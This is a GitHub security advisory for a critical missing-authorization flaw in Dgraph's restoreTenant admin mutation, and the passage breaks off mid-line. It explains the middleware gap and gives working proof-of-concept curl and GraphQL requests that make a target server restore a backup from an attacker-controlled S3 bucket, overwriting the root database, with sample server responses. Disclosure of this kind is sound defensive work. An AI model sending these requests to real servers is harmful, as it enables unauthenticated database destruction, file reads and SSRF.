GitHub Security Advisory: GHSA-p5rh-vmhp-gvcw
Package: github.com/dgraph-io/dgraph/v25 (GO)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 25.3.0
Patched in: 25.3.1

Summary: Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization

Details:
The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.

This mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.

## Authentication Bypass

Every admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.

When middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.

## PoC 1: Pre-Auth Database Overwrite

The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:

    # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
    curl -X POST http://dgraph-alpha:8080/admin \
      -H "Content-Type: application/json" \
      -d '{
        "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"[CREDENTIAL_REDACTED]\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
      }'

    # Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
    # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).

The resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.

Note: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:

    mutation { restoreTenant(input: {
      restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true },
      fromNamespace: 0
    }) { code message } }

## Live PoC Results (Dgraph v24.x Docker)

Tested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:

    # restore (HAS middleware) -> BLOCKED
    $ curl ... '{"query": "mutation { restore(...) { code } }"}'
    {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}

    # restoreT